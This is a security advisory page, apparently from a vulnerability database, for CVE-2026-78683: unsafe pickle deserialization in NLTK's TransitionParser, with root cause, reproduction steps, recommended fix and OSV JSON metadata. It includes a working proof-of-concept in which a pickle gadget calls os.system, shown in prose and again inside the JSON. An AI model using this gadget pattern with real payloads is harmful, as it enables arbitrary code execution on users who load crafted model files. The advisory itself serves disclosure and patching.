BREW-GPTLINE-CVE-2026-78683 (PYSEC-2026-3734)
Vulnerability from osv_homebrew – Published: 2026-09-02 09:04 – Updated: 2026-09-17 19:32 – Source websiteSummary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
- The restricted=True parameter exists in the API but is never used by any production code path
- All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
1. Attacker places a malicious pickle file at a known or attacker-controlled location
2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
3. pickle_load() deserializes the file with restricted=False (default)
4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.0.8_22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027) # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027) # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
"id": "BREW-gptline-CVE-2026-78683",
"modified": "2026-09-17T19:32:01Z",
"published": "2026-09-02T09:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3631"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
"upstream": [
"PYSEC-2026-3734",
"CVE-2026-78683",
"GHSA-rhp5-r9x4-f5g2"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.